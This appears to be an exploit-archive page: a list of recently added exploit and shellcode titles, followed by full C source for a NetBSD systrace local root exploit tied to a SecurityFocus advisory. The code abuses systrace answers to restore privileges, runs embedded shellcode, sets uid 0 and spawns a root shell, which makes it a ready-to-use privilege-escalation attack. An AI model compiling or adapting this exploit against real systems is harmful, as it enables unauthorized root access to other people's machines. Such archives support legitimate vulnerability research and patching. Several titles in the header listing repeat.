
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
132 lines
No EOL
3.2 KiB
C
132 lines
No EOL
3.2 KiB
C
// source: https://www.securityfocus.com/bid/10320/info
|
|
|
|
A vulnerability has been reported that affects Systrace on NetBSD, as well as the FreeBSD port by Vladimir Kotal.
|
|
|
|
The source of the issue is insufficient access validation when a systraced process is restoring privileges.
|
|
|
|
This issue can be exploited by a local attacker to gain root privileges on a vulnerable system.
|
|
|
|
#include <stdio.h>
|
|
#include <sys/ioctl.h>
|
|
#include <fcntl.h>
|
|
#include <sys/systrace.h>
|
|
|
|
#define systrace_device "/dev/systrace"
|
|
|
|
char MAGIC[] = "\x53\x31\xc0\x50\x50\x50\x50\xb8\x03\x00\x00\x00"
|
|
"\xcd\x80\x83\xc4\x10\xb8\x00\x00\xc0\xbf\x94\x50"
|
|
"\xb8\x03\x00\x00\x00\xcd\x80\x5b\x87\xe3\x5b\xc3";
|
|
|
|
void (*magic)(void) = MAGIC;
|
|
|
|
int nbsd_systrace_open()
|
|
{
|
|
int fd;
|
|
|
|
printf("[+] Connecting to %s... ", systrace_device);
|
|
fd = open(systrace_device, O_RDONLY, 0);
|
|
if (fd == -1) {
|
|
perror("failed with error: ");
|
|
printf("\nSorry but the exploit failed\n");
|
|
exit(1);
|
|
}
|
|
printf("done.\n");
|
|
|
|
return (fd);
|
|
}
|
|
|
|
int nbsd_attach_parent(int fd)
|
|
{
|
|
pid_t pid = getppid();
|
|
|
|
printf("[+] Attaching to parent... ");
|
|
if (ioctl(fd, STRIOCATTACH, &pid) == -1) {
|
|
perror("failed with error: ");
|
|
printf("\nSorry but the exploit failed\n");
|
|
}
|
|
printf("done.\n");
|
|
return (0);
|
|
}
|
|
|
|
void nbsd_handle_msg(int fd)
|
|
{
|
|
struct str_message msg;
|
|
struct systrace_answer ans;
|
|
int r;
|
|
|
|
r = read(fd, &msg, sizeof(msg));
|
|
|
|
if (r != sizeof(msg)) {
|
|
exit(1);
|
|
}
|
|
|
|
memset(&ans, 0, sizeof(ans));
|
|
ans.stra_pid = msg.msg_pid;
|
|
ans.stra_seqnr = msg.msg_seqnr;
|
|
ans.stra_policy = SYSTR_POLICY_PERMIT;
|
|
ans.stra_flags =
|
|
SYSTR_FLAGS_RESULT|SYSTR_FLAGS_SETEUID|SYSTR_FLAGS_SETEUID;
|
|
ans.stra_error = 0;
|
|
ans.stra_seteuid = getuid();
|
|
ans.stra_setegid = getgid();
|
|
|
|
if (ioctl(fd, STRIOCANSWER, &ans) == -1);
|
|
|
|
}
|
|
|
|
void doit()
|
|
{
|
|
int p,f,fd;
|
|
|
|
fd = nbsd_systrace_open();
|
|
|
|
f = fork();
|
|
|
|
if (f == 0) {
|
|
sleep(1);
|
|
nbsd_attach_parent(fd);
|
|
while (1) {
|
|
nbsd_handle_msg(fd);
|
|
}
|
|
exit(1);
|
|
}
|
|
printf("[+] Doing some magic... ");
|
|
sleep(2);
|
|
magic();
|
|
|
|
setuid(0);
|
|
setgid(0);
|
|
|
|
kill(f, 9);
|
|
|
|
if (getuid() != 0) {
|
|
printf("failed.\n");
|
|
printf("\nSorry but the exploit failed.");
|
|
exit(1);
|
|
}
|
|
|
|
printf("done.\n\n");
|
|
|
|
system("uname -v");
|
|
system("id");
|
|
execlp("/bin/sh", "/bin/sh", 0);
|
|
}
|
|
|
|
void banner()
|
|
{
|
|
printf("NetBSD/x86 systrace local root exploit\n");
|
|
printf("by ziegenpeter\n\n");
|
|
|
|
if (getuid() == 0) {
|
|
printf("no comment\n");
|
|
exit(1);
|
|
}
|
|
}
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
int fd;
|
|
banner();
|
|
doit();
|
|
return (0);
|
|
} |